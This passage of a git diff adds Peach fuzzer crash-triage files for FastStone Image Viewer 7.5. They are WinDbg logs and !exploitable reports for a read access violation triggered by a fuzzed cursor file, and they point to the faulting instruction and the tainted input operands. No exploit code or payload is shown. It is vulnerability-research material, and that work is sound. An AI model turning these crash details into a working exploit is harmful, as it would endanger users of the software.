C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b68.1970): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ef7b10 edx=00003879 esi=12738f10 edi=07d20fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.7008e-037 1.26237e-037 -4.11518e+022 3.4654e+036 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0025b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0025b000 47119f6a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0025b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..878c312 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..67a8bd8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1994: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1994: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74a52000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a60000 00000000`74bfa000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1994.198c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07f47b10 edx=00003879 esi=ffd70010 edi=07d70fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.559468500000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=9.08357e+014 -9.20385e-024 0.0523141 7.66524e+026 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08028130 07fa5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0034e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0034e000 49fca1d0 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0034e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..67a8bd8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/67172/WindowsDebugEngine_description.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1994: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1994: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74a52000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a60000 00000000`74bfa000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 